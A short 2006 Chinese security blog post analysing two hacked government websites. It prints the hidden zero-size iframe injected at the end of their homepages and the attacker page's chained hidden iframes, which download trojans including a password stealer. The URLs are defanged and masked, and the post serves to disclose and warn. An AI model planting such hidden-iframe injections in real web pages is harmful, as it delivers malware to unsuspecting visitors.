两个下载恶意程序文件的政府网站换花样了

endurer　原创

2006-08-22 第1版

今天又看了看 两个会自动下载恶意程序文件的政府网站 一文中的两个网站，发现换了花样。

两个网站首页末均被加入：

/---------
＜iframe src="hxxp://www.wzx***qy.com/" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"＞＜/iframe＞
---------/

hxxp://www.wzx***qy.com/ 的代码为：
/---------
＜script language="javascript" src="hxxp://count1***0.51yes.com/click.aspx?id=106674545&logo=8"＞＜/script＞
＜iframe src=hxxp://www.wzx***qy.com/2**/index.htm width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://www.wzx***qy.com/1**/index.htm width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://www.wzx***qy.com/3**/index.htm width=0 height=0＞＜/iframe＞
---------/

分别下载恶意文件：

qq.exe
zhengtu.exe（Kaspersky 报为 Trojan-PSW.Win32.Delf.ob）
jianghu.exe